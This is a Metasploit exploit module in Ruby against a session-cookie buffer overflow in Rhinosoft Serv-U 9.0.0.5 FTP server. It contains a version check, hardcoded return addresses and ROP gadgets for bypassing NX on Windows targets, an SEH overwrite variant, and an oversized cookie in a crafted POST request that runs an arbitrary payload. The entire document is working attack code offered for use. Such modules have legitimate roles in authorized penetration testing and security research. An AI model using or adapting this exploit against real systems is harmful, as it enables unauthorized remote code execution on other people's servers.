RhinoSoft Serv-U FTP Server – Session Cookie Buffer Overflow (Metasploit)
## # $Id: servu_session_cookie.rb 8762 2010-03-10 05:58:01Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Rhinosoft Serv-U Session Cookie Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in Rhinosoft Serv-U 9.0.0.5. Sending a specially crafted POST request with an overly long session cookie string, an attacker may be able to execute arbitrary code. }, 'Author' => [ 'Nikolas Rangos <nikolaos[at]rangos.de>', 'M.Yanagishita <megumi1990[at]gmail.com>', 'jduck' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 8762 $', 'References' => [ [ 'CVE', '2009-4006' ], # unsure [ 'OSVDB', '59772' ], [ 'URL', 'http://rangos.de/ServU-ADV.txt' ], [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2009-November/071370.html' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => true, 'Payload' => { 'Space' => 512, 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a", 'StackAdjustment' => -4096, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2003 SP2 English (NX)', { 'FixESP' => 0x0fb02849, # add esp, 0x40c / ret @libeay32 'FixESI' => 0x78a31e96, # pop esi / ret @mfc90u.dll 'FixEBP' => 0x78a4ae99, # push esp / pop ebp / ret 0xc @mfc90u.dll 'Ret' => 0x78a3e987, # ret 0x20 @mfc90u.dll 'DisableNX' => 0x7c83f547, # NX Disable @ntdll.dll 'JmpESP' => 0x78b2c753 # jmp esp @mfc90u.dll } ], [ 'Windows 2000 SP4 and XP SP3 English (SEH)', { 'Ret' => 0x0fb870bd # pop pop ret @libeay32.dll } ], ], 'DefaultTarget' => 1, 'DisclosureDate' => 'Nov 1 2009')) register_options( [ Opt::RPORT(80) ], self.class ) end def check connect sock.put("\r\n\r\n") # works res = sock.get(-1,3) disconnect if (res =~ /Server: Serv-U\/9\.0\.0\.5/) return Exploit::CheckCode::Vulnerable elsif (res =~ /Server: Serv-U/) return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit # hit end of stack.. sploit = Rex::Text.rand_text(1000) * 75 if (target.name =~ /NX/) # new SEH handler (point esp into buffer) sploit[41000,4] = [target['FixESP']].pack('V') # stack frame to bypass NX sploit[52+0,4] = [target['FixESI']].pack('V') sploit[52+4,4] = [0x10200].pack('V') sploit[52+8,4] = [target['FixEBP']].pack('V') sploit[52+12,4] = [target['Ret']].pack('V') sploit[52+16,4] = [target['JmpESP']].pack('V') sploit[52+20,4] = [target['DisableNX']].pack('V') sploit[52+24,2] = "\xeb\x20" sploit[52+40,payload.encoded.length] = payload.encoded else seh = generate_seh_record(target.ret) sploit[40996,seh.length] = seh sploit[41004,payload.encoded.length] = payload.encoded end req = "POST / HTTP/1.1\r\n" req << "Host: #{rhost}:#{rport}\r\n" req << "Cookie: Session=_" req << sploit.unpack('H*')[0] req << "\r\n" req << "\r\n"; connect print_status("Trying target #{target.name}..." % target['Ret']) sock.put(req) select(nil, nil, nil, 1.5) handler disconnect end end |